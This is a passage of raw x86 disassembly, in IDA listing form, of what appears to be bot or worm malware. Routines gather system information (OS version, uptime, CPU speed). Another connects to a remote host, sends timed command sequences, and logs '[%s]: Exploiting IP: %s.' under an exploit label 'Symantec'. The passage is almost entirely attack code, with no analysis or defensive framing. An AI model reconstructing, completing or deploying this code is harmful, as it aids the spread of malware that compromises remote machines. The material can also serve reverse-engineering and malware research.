mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26F0000h
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 2680EF8h
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
nop
call near ptr 26F0000h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset dword_431620
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset dword_43161C
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset dword_431618
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset dword_431614
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset dword_431610
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset dword_43160C
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset dword_431604
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_436BB4
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 2680A92h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43AC78
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2760000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 2750000h
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2860000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43AB9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset dword_43ACF0
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset dword_43ACE8
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43AC9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8D0
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB984
call dword_4CB9A8
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD5C
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD00
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08
push [ebp+var_4]
call dword_4CBA08
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
call near ptr 26F0A80h
nop
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCCC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_1 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: ___:0041B843p
; ___:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA24
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA24
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43ADEC
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C
loc_41B724: ; CODE XREF: ___:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: ___:0041B7CEj
; ___:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: ___:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: ___:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24
push 1
pop edi
loc_41B800: ; CODE XREF: ___:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: ___:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: ___:0041B756j
; ___:0041B7B2j ...
push ebx
call dword_4CBA6C
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: ___:0041B781j
; ___:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: ___:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: ___:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi
push 2
pop edi
loc_41B8E7: ; CODE XREF: ___:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: ___:0041B950j
push 258h
call esi
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: ___:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
